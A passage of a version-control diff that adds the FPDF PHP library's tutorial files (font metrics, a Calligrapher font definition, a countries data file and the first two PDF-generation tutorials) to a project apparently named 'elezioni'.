+C 86 ; WX 753 ; N V ; B -28 -20 788 729 ;
+C 87 ; WX 1238 ; N W ; B -28 -17 1273 736 ;
+C 88 ; WX 716 ; N X ; B 7 -38 709 731 ;
+C 89 ; WX 754 ; N Y ; B -35 -17 789 747 ;
+C 90 ; WX 599 ; N Z ; B 30 -5 584 748 ;
+C 91 ; WX 315 ; N bracketleft ; B 93 -124 322 718 ;
+C 92 ; WX 463 ; N backslash ; B -21 -18 484 736 ;
+C 93 ; WX 315 ; N bracketright ; B -7 -124 222 718 ;
+C 94 ; WX 600 ; N asciicircum ; B 63 266 537 658 ;
+C 95 ; WX 547 ; N underscore ; B -7 -198 554 -163 ;
+C 96 ; WX 278 ; N grave ; B -1 541 214 693 ;
+C 97 ; WX 581 ; N a ; B 21 -16 581 494 ;
+C 98 ; WX 564 ; N b ; B -24 -17 543 793 ;
+C 99 ; WX 440 ; N c ; B 21 -17 422 490 ;
+C 100 ; WX 571 ; N d ; B 0 -15 550 659 ;
+C 101 ; WX 450 ; N e ; B 28 -23 428 493 ;
+C 102 ; WX 347 ; N f ; B -35 -14 474 785 ;
+C 103 ; WX 628 ; N g ; B 19 -219 612 496 ;
+C 104 ; WX 611 ; N h ; B -29 -18 569 785 ;
+C 105 ; WX 283 ; N i ; B -14 -15 241 679 ;
+C 106 ; WX 283 ; N j ; B -14 -234 241 679 ;
+C 107 ; WX 560 ; N k ; B -24 -15 582 789 ;
+C 108 ; WX 252 ; N l ; B -28 -15 210 789 ;
+C 109 ; WX 976 ; N m ; B -21 -16 927 494 ;
+C 110 ; WX 595 ; N n ; B -28 -15 574 493 ;
+C 111 ; WX 508 ; N o ; B 27 -17 485 490 ;
+C 112 ; WX 549 ; N p ; B -28 -216 526 496 ;
+C 113 ; WX 540 ; N q ; B 28 -219 491 493 ;
+C 114 ; WX 395 ; N r ; B -21 -19 430 492 ;
+C 115 ; WX 441 ; N s ; B 34 -15 413 493 ;
+C 116 ; WX 307 ; N t ; B -21 -16 378 621 ;
+C 117 ; WX 614 ; N u ; B -14 -18 558 501 ;
+C 118 ; WX 556 ; N v ; B -28 -20 569 483 ;
+C 119 ; WX 915 ; N w ; B -28 -17 928 495 ;
+C 120 ; WX 559 ; N x ; B 14 -17 546 500 ;
+C 121 ; WX 597 ; N y ; B -21 -227 541 500 ;
+C 122 ; WX 452 ; N z ; B 28 -5 442 515 ;
+C 123 ; WX 315 ; N braceleft ; B 6 -118 309 718 ;
+C 124 ; WX 222 ; N bar ; B 63 -18 159 730 ;
+C 125 ; WX 315 ; N braceright ; B 6 -118 309 718 ;
+C 126 ; WX 600 ; N asciitilde ; B 69 166 531 340 ;
+C 127 ; WX 800 ; N .notdef ; B 50 0 750 800 ;
+C 128 ; WX 800 ; N .notdef ; B 50 0 750 800 ;
+C 129 ; WX 800 ; N .notdef ; B 50 0 750 800 ;
+C 130 ; WX 0 ; N quotesinglbase ; B -23 -14 754 877 ;
+C 131 ; WX 0 ; N florin ; B 0 -19 804 854 ;
+C 132 ; WX 0 ; N quotedblbase ; B -23 -14 754 877 ;
+C 133 ; WX 780 ; N ellipsis ; B 43 -16 747 162 ;
+C 134 ; WX 0 ; N dagger ; B 27 -122 437 592 ;
+C 135 ; WX 0 ; N daggerdbl ; B 43 278 227 456 ;
+C 136 ; WX 278 ; N circumflex ; B -14 557 292 677 ;
+C 137 ; WX 0 ; N perthousand ; B -23 -14 754 877 ;
+C 138 ; WX 0 ; N Scaron ; B 0 0 0 100 ;
+C 139 ; WX 0 ; N guilsinglleft ; B 43 278 227 456 ;
+C 140 ; WX 1064 ; N OE ; B 32 -16 1055 709 ;
+C 141 ; WX 800 ; N .notdef ; B 50 0 750 800 ;
+C 142 ; WX 800 ; N .notdef ; B 50 0 750 800 ;
+C 143 ; WX 800 ; N .notdef ; B 50 0 750 800 ;
+C 144 ; WX 800 ; N .notdef ; B 50 0 750 800 ;
+C 145 ; WX 259 ; N quoteleft ; B 35 489 224 717 ;
+C 146 ; WX 259 ; N quoteright ; B 35 489 224 717 ;
+C 147 ; WX 470 ; N quotedblleft ; B 35 489 443 717 ;
+C 148 ; WX 470 ; N quotedblright ; B 35 487 443 717 ;
+C 149 ; WX 500 ; N bullet ; B 70 179 430 539 ;
+C 150 ; WX 300 ; N endash ; B 0 245 300 350 ;
+C 151 ; WX 600 ; N emdash ; B 0 245 600 350 ;
+C 152 ; WX 278 ; N tilde ; B -44 563 326 689 ;
+C 153 ; WX 990 ; N trademark ; B 62 306 928 718 ;
+C 154 ; WX 0 ; N scaron ; B 0 0 0 100 ;
+C 155 ; WX 0 ; N guilsinglright ; B 43 278 227 456 ;
+C 156 ; WX 790 ; N oe ; B 27 -23 764 493 ;
+C 157 ; WX 800 ; N .notdef ; B 50 0 750 800 ;
+C 158 ; WX 800 ; N .notdef ; B 50 0 750 800 ;
+C 159 ; WX 754 ; N Ydieresis ; B -35 -17 789 882 ;
+C 160 ; WX 282 ; N nbspace ; B -23 -14 754 893 ;
+C 161 ; WX 324 ; N exclamdown ; B 69 -203 253 531 ;
+C 162 ; WX 450 ; N cent ; B 27 -122 437 592 ;
+C 163 ; WX 640 ; N sterling ; B 0 -9 619 716 ;
+C 164 ; WX 518 ; N currency ; B 3 72 515 586 ;
+C 165 ; WX 603 ; N yen ; B -28 -65 631 747 ;
+C 166 ; WX 0 ; N brokenbar ; B 0 0 0 100 ;
+C 167 ; WX 519 ; N section ; B -50 -216 524 762 ;
+C 168 ; WX 254 ; N dieresis ; B -20 554 308 682 ;
+C 169 ; WX 800 ; N copyright ; B 29 -12 771 730 ;
+C 170 ; WX 349 ; N ordfeminine ; B 13 385 349 717 ;
+C 171 ; WX 0 ; N guillemotleft ; B 43 -16 747 162 ;
+C 172 ; WX 0 ; N logicalnot ; B 30 0 730 700 ;
+C 173 ; WX 432 ; N hyphen ; B 28 249 404 377 ;
+C 174 ; WX 800 ; N registered ; B 29 -12 771 730 ;
+C 175 ; WX 278 ; N macron ; B -47 584 325 665 ;
+C 176 ; WX 0 ; N degree ; B 27 -122 437 592 ;
+C 177 ; WX 0 ; N plusminus ; B 29 -8 668 877 ;
+C 178 ; WX 0 ; N twosuperior ; B 0 0 0 100 ;
+C 179 ; WX 0 ; N threesuperior ; B 0 0 0 100 ;
+C 180 ; WX 278 ; N acute ; B 49 536 279 693 ;
+C 181 ; WX 614 ; N mu ; B -14 -231 558 501 ;
+C 182 ; WX 0 ; N paragraph ; B -35 -15 668 785 ;
+C 183 ; WX 254 ; N periodcentered ; B 43 278 227 456 ;
+C 184 ; WX 278 ; N cedilla ; B -8 -216 231 6 ;
+C 185 ; WX 0 ; N onesuperior ; B 0 0 0 100 ;
+C 186 ; WX 305 ; N ordmasculine ; B 16 373 291 702 ;
+C 187 ; WX 0 ; N guillemotright ; B 43 -16 747 162 ;
+C 188 ; WX 0 ; N onequarter ; B 0 0 0 100 ;
+C 189 ; WX 0 ; N onehalf ; B 0 0 0 100 ;
+C 190 ; WX 0 ; N threequarters ; B 0 0 0 100 ;
+C 191 ; WX 501 ; N questiondown ; B 15 -196 467 541 ;
+C 192 ; WX 743 ; N Agrave ; B -23 -14 754 893 ;
+C 193 ; WX 743 ; N Aacute ; B -23 -14 754 893 ;
+C 194 ; WX 743 ; N Acircumflex ; B -23 -14 754 877 ;
+C 195 ; WX 743 ; N Atilde ; B -23 -14 754 889 ;
+C 196 ; WX 743 ; N Adieresis ; B -23 -14 754 882 ;
+C 197 ; WX 743 ; N Aring ; B -23 -14 754 899 ;
+C 198 ; WX 1060 ; N AE ; B -29 -14 1053 708 ;
+C 199 ; WX 598 ; N Ccedilla ; B 27 -183 572 712 ;
+C 200 ; WX 608 ; N Egrave ; B -21 0 608 893 ;
+C 201 ; WX 608 ; N Eacute ; B -21 0 608 893 ;
+C 202 ; WX 608 ; N Ecircumflex ; B -21 0 608 877 ;
+C 203 ; WX 608 ; N Edieresis ; B -21 0 608 882 ;
+C 204 ; WX 308 ; N Igrave ; B 14 -15 264 893 ;
+C 205 ; WX 308 ; N Iacute ; B 14 -15 274 893 ;
+C 206 ; WX 308 ; N Icircumflex ; B 1 -15 307 877 ;
+C 207 ; WX 308 ; N Idieresis ; B -15 -15 313 882 ;
+C 208 ; WX 0 ; N Eth ; B 0 0 0 100 ;
+C 209 ; WX 817 ; N Ntilde ; B -42 -17 747 889 ;
+C 210 ; WX 729 ; N Ograve ; B 32 -16 698 893 ;
+C 211 ; WX 729 ; N Oacute ; B 32 -16 698 893 ;
+C 212 ; WX 729 ; N Ocircumflex ; B 32 -16 698 877 ;
+C 213 ; WX 729 ; N Otilde ; B 32 -16 698 889 ;
+C 214 ; WX 729 ; N Odieresis ; B 32 -16 698 882 ;
+C 215 ; WX 0 ; N multiply ; B 0 0 0 100 ;
+C 216 ; WX 729 ; N Oslash ; B 14 -24 724 709 ;
+C 217 ; WX 805 ; N Ugrave ; B 0 -19 804 893 ;
+C 218 ; WX 805 ; N Uacute ; B 0 -19 804 893 ;
+C 219 ; WX 805 ; N Ucircumflex ; B 0 -19 804 877 ;
+C 220 ; WX 805 ; N Udieresis ; B 0 -19 804 882 ;
+C 221 ; WX 0 ; N _235 ; B 0 0 0 100 ;
+C 222 ; WX 0 ; N Thorn ; B 0 0 0 100 ;
+C 223 ; WX 688 ; N germandbls ; B -35 -15 668 785 ;
+C 224 ; WX 581 ; N agrave ; B 21 -16 581 693 ;
+C 225 ; WX 581 ; N aacute ; B 21 -16 581 693 ;
+C 226 ; WX 581 ; N acircumflex ; B 21 -16 581 677 ;
+C 227 ; WX 581 ; N atilde ; B 21 -16 581 689 ;
+C 228 ; WX 581 ; N adieresis ; B 21 -16 581 682 ;
+C 229 ; WX 581 ; N aring ; B 21 -16 581 734 ;
+C 230 ; WX 792 ; N ae ; B 21 -23 773 494 ;
+C 231 ; WX 440 ; N ccedilla ; B 21 -183 422 490 ;
+C 232 ; WX 450 ; N egrave ; B 28 -23 428 693 ;
+C 233 ; WX 450 ; N eacute ; B 28 -23 428 693 ;
+C 234 ; WX 450 ; N ecircumflex ; B 28 -23 432 677 ;
+C 235 ; WX 450 ; N edieresis ; B 28 -23 428 682 ;
+C 236 ; WX 283 ; N igrave ; B -14 -15 244 693 ;
+C 237 ; WX 283 ; N iacute ; B -14 -15 269 693 ;
+C 238 ; WX 283 ; N icircumflex ; B -14 -15 297 677 ;
+C 239 ; WX 283 ; N idieresis ; B -25 -15 303 682 ;
+C 240 ; WX 0 ; N Yacute ; B 0 0 0 100 ;
+C 241 ; WX 595 ; N ntilde ; B -28 -15 574 689 ;
+C 242 ; WX 508 ; N ograve ; B 27 -17 485 693 ;
+C 243 ; WX 508 ; N oacute ; B 27 -17 485 693 ;
+C 244 ; WX 508 ; N ocircumflex ; B 27 -17 485 677 ;
+C 245 ; WX 508 ; N otilde ; B 27 -17 485 689 ;
+C 246 ; WX 508 ; N odieresis ; B 27 -17 485 682 ;
+C 247 ; WX 0 ; N divide ; B 35 0 760 727 ;
+C 248 ; WX 508 ; N oslash ; B -8 -54 496 589 ;
+C 249 ; WX 614 ; N ugrave ; B -14 -18 558 693 ;
+C 250 ; WX 614 ; N uacute ; B -14 -18 558 693 ;
+C 251 ; WX 614 ; N ucircumflex ; B -14 -18 558 677 ;
+C 252 ; WX 614 ; N udieresis ; B -14 -18 558 682 ;
+C 253 ; WX 0 ; N yacute ; B 0 0 0 100 ;
+C 254 ; WX 0 ; N thorn ; B 0 0 0 100 ;
+C 255 ; WX 597 ; N ydieresis ; B -21 -227 541 682 ;
+EndCharMetrics
+EndFontMetrics
Index: /trunk/elezioni/trunk/client/inc/hpdf/_fpdf/tutorial/calligra.php
===================================================================
--- /trunk/elezioni/trunk/client/inc/hpdf/_fpdf/tutorial/calligra.php	(revision 44)
+++ /trunk/elezioni/trunk/client/inc/hpdf/_fpdf/tutorial/calligra.php	(revision 44)
@@ -0,0 +1,24 @@
+<?php
+$type='TrueType';
+$name='Calligrapher-Regular';
+$desc=array('Ascent'=>899,'Descent'=>-234,'CapHeight'=>731,'Flags'=>32,'FontBBox'=>'[-50 -234 1328 899]','ItalicAngle'=>0,'StemV'=>70,'MissingWidth'=>800);
+$up=-200;
+$ut=20;
+$cw=array(
+	chr(0)=>800,chr(1)=>800,chr(2)=>800,chr(3)=>800,chr(4)=>800,chr(5)=>800,chr(6)=>800,chr(7)=>800,chr(8)=>800,chr(9)=>800,chr(10)=>800,chr(11)=>800,chr(12)=>800,chr(13)=>800,chr(14)=>800,chr(15)=>800,chr(16)=>800,chr(17)=>800,chr(18)=>800,chr(19)=>800,chr(20)=>800,chr(21)=>800,
+	chr(22)=>800,chr(23)=>800,chr(24)=>800,chr(25)=>800,chr(26)=>800,chr(27)=>800,chr(28)=>800,chr(29)=>800,chr(30)=>800,chr(31)=>800,' '=>282,'!'=>324,'"'=>405,'#'=>584,'$'=>632,'%'=>980,'&'=>776,'\''=>259,'('=>299,')'=>299,'*'=>377,'+'=>600,
+	','=>259,'-'=>432,'.'=>254,'/'=>597,'0'=>529,'1'=>298,'2'=>451,'3'=>359,'4'=>525,'5'=>423,'6'=>464,'7'=>417,'8'=>457,'9'=>479,':'=>275,';'=>282,'<'=>600,'='=>600,'>'=>600,'?'=>501,'@'=>800,'A'=>743,
+	'B'=>636,'C'=>598,'D'=>712,'E'=>608,'F'=>562,'G'=>680,'H'=>756,'I'=>308,'J'=>314,'K'=>676,'L'=>552,'M'=>1041,'N'=>817,'O'=>729,'P'=>569,'Q'=>698,'R'=>674,'S'=>618,'T'=>673,'U'=>805,'V'=>753,'W'=>1238,
+	'X'=>716,'Y'=>754,'Z'=>599,'['=>315,'\\'=>463,']'=>315,'^'=>600,'_'=>547,'`'=>278,'a'=>581,'b'=>564,'c'=>440,'d'=>571,'e'=>450,'f'=>347,'g'=>628,'h'=>611,'i'=>283,'j'=>283,'k'=>560,'l'=>252,'m'=>976,
+	'n'=>595,'o'=>508,'p'=>549,'q'=>540,'r'=>395,'s'=>441,'t'=>307,'u'=>614,'v'=>556,'w'=>915,'x'=>559,'y'=>597,'z'=>452,'{'=>315,'|'=>222,'}'=>315,'~'=>600,chr(127)=>800,chr(128)=>800,chr(129)=>800,chr(130)=>0,chr(131)=>0,
+	chr(132)=>0,chr(133)=>780,chr(134)=>0,chr(135)=>0,chr(136)=>278,chr(137)=>0,chr(138)=>0,chr(139)=>0,chr(140)=>1064,chr(141)=>800,chr(142)=>800,chr(143)=>800,chr(144)=>800,chr(145)=>259,chr(146)=>259,chr(147)=>470,chr(148)=>470,chr(149)=>500,chr(150)=>300,chr(151)=>600,chr(152)=>278,chr(153)=>990,
+	chr(154)=>0,chr(155)=>0,chr(156)=>790,chr(157)=>800,chr(158)=>800,chr(159)=>754,chr(160)=>282,chr(161)=>324,chr(162)=>450,chr(163)=>640,chr(164)=>518,chr(165)=>603,chr(166)=>0,chr(167)=>519,chr(168)=>254,chr(169)=>800,chr(170)=>349,chr(171)=>0,chr(172)=>0,chr(173)=>432,chr(174)=>800,chr(175)=>278,
+	chr(176)=>0,chr(177)=>0,chr(178)=>0,chr(179)=>0,chr(180)=>278,chr(181)=>614,chr(182)=>0,chr(183)=>254,chr(184)=>278,chr(185)=>0,chr(186)=>305,chr(187)=>0,chr(188)=>0,chr(189)=>0,chr(190)=>0,chr(191)=>501,chr(192)=>743,chr(193)=>743,chr(194)=>743,chr(195)=>743,chr(196)=>743,chr(197)=>743,
+	chr(198)=>1060,chr(199)=>598,chr(200)=>608,chr(201)=>608,chr(202)=>608,chr(203)=>608,chr(204)=>308,chr(205)=>308,chr(206)=>308,chr(207)=>308,chr(208)=>0,chr(209)=>817,chr(210)=>729,chr(211)=>729,chr(212)=>729,chr(213)=>729,chr(214)=>729,chr(215)=>0,chr(216)=>729,chr(217)=>805,chr(218)=>805,chr(219)=>805,
+	chr(220)=>805,chr(221)=>0,chr(222)=>0,chr(223)=>688,chr(224)=>581,chr(225)=>581,chr(226)=>581,chr(227)=>581,chr(228)=>581,chr(229)=>581,chr(230)=>792,chr(231)=>440,chr(232)=>450,chr(233)=>450,chr(234)=>450,chr(235)=>450,chr(236)=>283,chr(237)=>283,chr(238)=>283,chr(239)=>283,chr(240)=>800,chr(241)=>595,
+	chr(242)=>508,chr(243)=>508,chr(244)=>508,chr(245)=>508,chr(246)=>508,chr(247)=>0,chr(248)=>508,chr(249)=>614,chr(250)=>614,chr(251)=>614,chr(252)=>614,chr(253)=>0,chr(254)=>0,chr(255)=>597);
+$enc='cp1252';
+$diff='';
+$file='calligra.z';
+$originalsize=40120;
+?>
Index: /trunk/elezioni/trunk/client/inc/hpdf/_fpdf/tutorial/countries.txt
===================================================================
--- /trunk/elezioni/trunk/client/inc/hpdf/_fpdf/tutorial/countries.txt	(revision 44)
+++ /trunk/elezioni/trunk/client/inc/hpdf/_fpdf/tutorial/countries.txt	(revision 44)
@@ -0,0 +1,15 @@
+Austria;Vienna;83859;8075
+Belgium;Brussels;30518;10192
+Denmark;Copenhagen;43094;5295
+Finland;Helsinki;304529;5147
+France;Paris;543965;58728
+Germany;Berlin;357022;82057
+Greece;Athens;131625;10511
+Ireland;Dublin;70723;3694
+Italy;Roma;301316;57563
+Luxembourg;Luxembourg;2586;424
+Netherlands;Amsterdam;41526;15654
+Portugal;Lisbon;91906;9957
+Spain;Madrid;504790;39348
+Sweden;Stockholm;410934;8839
+United Kingdom;London;243820;58862
Index: /trunk/elezioni/trunk/client/inc/hpdf/_fpdf/tutorial/index.htm
===================================================================
--- /trunk/elezioni/trunk/client/inc/hpdf/_fpdf/tutorial/index.htm	(revision 44)
+++ /trunk/elezioni/trunk/client/inc/hpdf/_fpdf/tutorial/index.htm	(revision 44)
@@ -0,0 +1,21 @@
+<!DOCTYPE html PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN">
+<html>
+<head>
+<meta http-equiv="Content-Type" content="text/html; charset=ISO-8859-1">
+<title>Tutorials</title>
+<link type="text/css" rel="stylesheet" href="../fpdf.css">
+</head>
+<body>
+<h1>Tutorials</h1>
+<p>The different examples rapidly show how to use FPDF. You will find all main features explained.</p>
+<ul style="list-style-type:none; margin-left:0; padding-left:0">
+<li><a href="tuto1.htm">Tutorial 1</a>: Minimal example</li>
+<li><a href="tuto2.htm">Tutorial 2</a>: Header, footer, page break and image</li>
+<li><a href="tuto3.htm">Tutorial 3</a>: Line breaks and colors</li>
+<li><a href="tuto4.htm">Tutorial 4</a>: Multi-columns</li>
+<li><a href="tuto5.htm">Tutorial 5</a>: Tables</li>
+<li><a href="tuto6.htm">Tutorial 6</a>: Links and flowing text</li>
+<li><a href="tuto7.htm">Tutorial 7</a>: Adding new fonts and encoding support</li>
+</UL>
+</body>
+</html>
Index: /trunk/elezioni/trunk/client/inc/hpdf/_fpdf/tutorial/makefont.php
===================================================================
--- /trunk/elezioni/trunk/client/inc/hpdf/_fpdf/tutorial/makefont.php	(revision 44)
+++ /trunk/elezioni/trunk/client/inc/hpdf/_fpdf/tutorial/makefont.php	(revision 44)
@@ -0,0 +1,6 @@
+<?php
+//Generation of font definition file for tutorial 7
+require('../font/makefont/makefont.php');
+
+MakeFont('calligra.ttf','calligra.afm');
+?>
Index: /trunk/elezioni/trunk/client/inc/hpdf/_fpdf/tutorial/tuto1.htm
===================================================================
--- /trunk/elezioni/trunk/client/inc/hpdf/_fpdf/tutorial/tuto1.htm	(revision 44)
+++ /trunk/elezioni/trunk/client/inc/hpdf/_fpdf/tutorial/tuto1.htm	(revision 44)
@@ -0,0 +1,77 @@
+<!DOCTYPE html PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN">
+<html>
+<head>
+<meta http-equiv="Content-Type" content="text/html; charset=ISO-8859-1">
+<title>Minimal example</title>
+<link type="text/css" rel="stylesheet" href="../fpdf.css">
+</head>
+<body>
+<h1>Minimal example</h1>
+Let's start with the classic example:
+<div class="source">
+<pre><code>&lt;?php
+<span class="kw">require(</span><span class="str">'fpdf.php'</span><span class="kw">);
+
+</span>$pdf<span class="kw">=new </span>FPDF<span class="kw">();
+</span>$pdf<span class="kw">-&gt;</span>AddPage<span class="kw">();
+</span>$pdf<span class="kw">-&gt;</span>SetFont<span class="kw">(</span><span class="str">'Arial'</span><span class="kw">,</span><span class="str">'B'</span><span class="kw">,</span>16<span class="kw">);
+</span>$pdf<span class="kw">-&gt;</span>Cell<span class="kw">(</span>40<span class="kw">,</span>10<span class="kw">,</span><span class="str">'Hello World!'</span><span class="kw">);
+</span>$pdf<span class="kw">-&gt;</span>Output<span class="kw">();
+</span>?&gt;</code></pre>
+</div>
+<p class='demo'><a href='tuto1.php' target='_blank' class='demo'>[Demo]</a></p>
+After including the library file, we create an FPDF object.
+The <a href='../doc/fpdf.htm'>FPDF()</a> constructor is used here with the default values: pages are in A4 portrait and
+the unit of measure is millimeter. It could have been specified explicitly with:
+<div class="source">
+<pre><code>$pdf<span class="kw">=new </span>FPDF<span class="kw">(</span><span class="str">'P'</span><span class="kw">,</span><span class="str">'mm'</span><span class="kw">,</span><span class="str">'A4'</span><span class="kw">);
+</span></code></pre>
+</div>
+It is possible to use landscape (<code>L</code>), other page formats (such as <code>Letter</code> and
+<code>Legal</code>) and units of measure (<code>pt</code>, <code>cm</code>, <code>in</code>).
+<br>
+<br>
+There is no page for the moment, so we have to add one with <a href='../doc/addpage.htm'>AddPage()</a>. The origin
+is at the upper-left corner and the current position is by default placed at 1 cm from the
+borders; the margins can be changed with <a href='../doc/setmargins.htm'>SetMargins()</a>.
+<br>
+<br>
+Before we can print text, it is mandatory to select a font with <a href='../doc/setfont.htm'>SetFont()</a>, otherwise the
+document would be invalid. We choose Arial bold 16:
+<div class="source">
+<pre><code>$pdf<span class="kw">-&gt;</span>SetFont<span class="kw">(</span><span class="str">'Arial'</span><span class="kw">,</span><span class="str">'B'</span><span class="kw">,</span>16<span class="kw">);
+</span></code></pre>
+</div>
+We could have specified italics with I, underlined with U or a regular font with an empty string
+(or any combination). Note that the font size is given in points, not millimeters (or another
+user unit); it is the only exception. The other standard fonts are Times, Courier, Symbol and
+ZapfDingbats.
+<br>
+<br>
+We can now print a cell with <a href='../doc/cell.htm'>Cell()</a>. A cell is a rectangular area, possibly framed,
+which contains a line of text. It is output at the current position. We specify its dimensions,
+its text (centered or aligned), if borders should be drawn, and where the current position
+moves after it (to the right, below or to the beginning of the next line). To add a frame, we would do this:
+<div class="source">
+<pre><code>$pdf<span class="kw">-&gt;</span>Cell<span class="kw">(</span>40<span class="kw">,</span>10<span class="kw">,</span><span class="str">'Hello World !'</span><span class="kw">,</span>1<span class="kw">);
+</span></code></pre>
+</div>
+To add a new cell next to it with centered text and go to the next line, we would do:
+<div class="source">
+<pre><code>$pdf<span class="kw">-&gt;</span>Cell<span class="kw">(</span>60<span class="kw">,</span>10<span class="kw">,</span><span class="str">'Powered by FPDF.'</span><span class="kw">,</span>0<span class="kw">,</span>1<span class="kw">,</span><span class="str">'C'</span><span class="kw">);
+</span></code></pre>
+</div>
+Remark: the line break can also be done with <a href='../doc/ln.htm'>Ln()</a>. This method additionnaly allows to specify
+the height of the break.
+<br>
+<br>
+Finally, the document is closed and sent to the browser with <a href='../doc/output.htm'>Output()</a>. We could have saved
+it to a file by passing the desired file name.
+<br>
+<br>
+<strong>Caution:</strong> in case when the PDF is sent to the browser, nothing else must be output by the
+script, neither before nor after (no HTML, not even a space or a carriage return). If you send something
+before, you will get the error message: "Some data has already been output, can't send PDF file". If you
+send something after, the document might not display.
+</body>
+</html>
Index: /trunk/elezioni/trunk/client/inc/hpdf/_fpdf/tutorial/tuto1.php
===================================================================
--- /trunk/elezioni/trunk/client/inc/hpdf/_fpdf/tutorial/tuto1.php	(revision 44)
+++ /trunk/elezioni/trunk/client/inc/hpdf/_fpdf/tutorial/tuto1.php	(revision 44)
@@ -0,0 +1,9 @@
+<?php
+require('../fpdf.php');
+
+$pdf=new FPDF();
+$pdf->AddPage();
+$pdf->SetFont('Arial','B',16);
+$pdf->Cell(40,10,'Hello World!');
+$pdf->Output();
+?>
Index: /trunk/elezioni/trunk/client/inc/hpdf/_fpdf/tutorial/tuto2.htm
===================================================================
--- /trunk/elezioni/trunk/client/inc/hpdf/_fpdf/tutorial/tuto2.htm	(revision 44)
+++ /trunk/elezioni/trunk/client/inc/hpdf/_fpdf/tutorial/tuto2.htm	(revision 44)
@@ -0,0 +1,80 @@
+<!DOCTYPE html PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN">
+<html>
+<head>
+<meta http-equiv="Content-Type" content="text/html; charset=ISO-8859-1">
+<title>Header, footer, page break and image</title>
+<link type="text/css" rel="stylesheet" href="../fpdf.css">
+</head>
+<body>
+<h1>Header, footer, page break and image</h1>
+Here is a two page example with header, footer and logo:
+<div class="source">
+<pre><code>&lt;?php
+<span class="kw">require(</span><span class="str">'fpdf.php'</span><span class="kw">);
+
+class </span>PDF <span class="kw">extends </span>FPDF
+<span class="kw">{
+</span><span class="cmt">//Page header
+</span><span class="kw">function </span>Header<span class="kw">()
+{
+    </span><span class="cmt">//Logo
+    </span>$<span class="kw">this-&gt;</span>Image<span class="kw">(</span><span class="str">'logo_pb.png'</span><span class="kw">,</span>10<span class="kw">,</span>8<span class="kw">,</span>33<span class="kw">);
+    </span><span class="cmt">//Arial bold 15
+    </span>$<span class="kw">this-&gt;</span>SetFont<span class="kw">(</span><span class="str">'Arial'</span><span class="kw">,</span><span class="str">'B'</span><span class="kw">,</span>15<span class="kw">);
+    </span><span class="cmt">//Move to the right
+    </span>$<span class="kw">this-&gt;</span>Cell<span class="kw">(</span>80<span class="kw">);
+    </span><span class="cmt">//Title
+    </span>$<span class="kw">this-&gt;</span>Cell<span class="kw">(</span>30<span class="kw">,</span>10<span class="kw">,</span><span class="str">'Title'</span><span class="kw">,</span>1<span class="kw">,</span>0<span class="kw">,</span><span class="str">'C'</span><span class="kw">);
+    </span><span class="cmt">//Line break
+    </span>$<span class="kw">this-&gt;</span>Ln<span class="kw">(</span>20<span class="kw">);
+}
+
+</span><span class="cmt">//Page footer
+</span><span class="kw">function </span>Footer<span class="kw">()
+{
+    </span><span class="cmt">//Position at 1.5 cm from bottom
+    </span>$<span class="kw">this-&gt;</span>SetY<span class="kw">(-</span>15<span class="kw">);
+    </span><span class="cmt">//Arial italic 8
+    </span>$<span class="kw">this-&gt;</span>SetFont<span class="kw">(</span><span class="str">'Arial'</span><span class="kw">,</span><span class="str">'I'</span><span class="kw">,</span>8<span class="kw">);
+    </span><span class="cmt">//Page number
+    </span>$<span class="kw">this-&gt;</span>Cell<span class="kw">(</span>0<span class="kw">,</span>10<span class="kw">,</span><span class="str">'Page '</span><span class="kw">.</span>$<span class="kw">this-&gt;</span>PageNo<span class="kw">().</span><span class="str">'/{nb}'</span><span class="kw">,</span>0<span class="kw">,</span>0<span class="kw">,</span><span class="str">'C'</span><span class="kw">);
+}
+}
+
+</span><span class="cmt">//Instanciation of inherited class
+</span>$pdf<span class="kw">=new </span>PDF<span class="kw">();
+</span>$pdf<span class="kw">-&gt;</span>AliasNbPages<span class="kw">();
+</span>$pdf<span class="kw">-&gt;</span>AddPage<span class="kw">();
+</span>$pdf<span class="kw">-&gt;</span>SetFont<span class="kw">(</span><span class="str">'Times'</span><span class="kw">,</span><span class="str">''</span><span class="kw">,</span>12<span class="kw">);
+for(</span>$i<span class="kw">=</span>1<span class="kw">;</span>$i<span class="kw">&lt;=</span>40<span class="kw">;</span>$i<span class="kw">++)
+    </span>$pdf<span class="kw">-&gt;</span>Cell<span class="kw">(</span>0<span class="kw">,</span>10<span class="kw">,</span><span class="str">'Printing line number '</span><span class="kw">.</span>$i<span class="kw">,</span>0<span class="kw">,</span>1<span class="kw">);
+</span>$pdf<span class="kw">-&gt;</span>Output<span class="kw">();
+</span>?&gt;</code></pre>
+</div>
+<p class='demo'><a href='tuto2.php' target='_blank' class='demo'>[Demo]</a></p>
+This example makes use of the <a href='../doc/header.htm'>Header()</a> and <a href='../doc/footer.htm'>Footer()</a> methods to process page headers and
+footers. They are called automatically. They already exist in the FPDF class but do nothing,
+therefore we have to extend the class and override them.
+<br>
+<br>
+The logo is printed with the <a href='../doc/image.htm'>Image()</a> method by specifying its upper-left corner and
+its width. The height is calculated automatically to respect the image proportions.
+<br>
+<br>
+To print the page number, a null value is passed as the cell width. It means that the cell
+should extend up to the right margin of the page; it is handy to center text. The current page
+number is returned by the <a href='../doc/pageno.htm'>PageNo()</a> method; as for the total number of pages, it is obtained
+by means of the special value <code>{nb}</code> which will be substituted on document closure
+(provided you first called <a href='../doc/aliasnbpages.htm'>AliasNbPages()</a>).
+<br>
+Note the use of the <a href='../doc/sety.htm'>SetY()</a> method which allows to set position at an absolute location in
+the page, starting from the top or the bottom.
+<br>
+<br>
+Another interesting feature is used here: the automatic page breaking. As soon as a cell would
+cross a limit in the page (at 2 centimeters from the bottom by default), a break is performed
+and the font restored. Although the header and footer select their own font (Arial), the body
+continues with Times. This mechanism of automatic restoration also applies to colors and line
+width. The limit which triggers page breaks can be set with <a href='../doc/setautopagebreak.htm'>SetAutoPageBreak()</a>.
+</body>
+</html>
Index: /trunk/elezioni/trunk/client/inc/hpdf/_fpdf/tutorial/tuto2.php
===================================================================
--- /trunk/elezioni/trunk/client/inc/hpdf/_fpdf/tutorial/tuto2.php	(revision 44)
+++ /trunk/elezioni/trunk/client/inc/hpdf/_fpdf/tutorial/tuto2.php	(revision 44)
@@ -0,0 +1,41 @@
+<?php
+require('../fpdf.php');
+
+class PDF extends FPDF
+{
+//Page header
+function Header()
+{
+	//Logo
+	$this->Image('logo_pb.png',10,8,33);
+	//Arial bold 15
+	$this->SetFont('Arial','B',15);
+	//Move to the right
+	$this->Cell(80);
+	//Title
+	$this->Cell(30,10,'Title',1,0,'C');
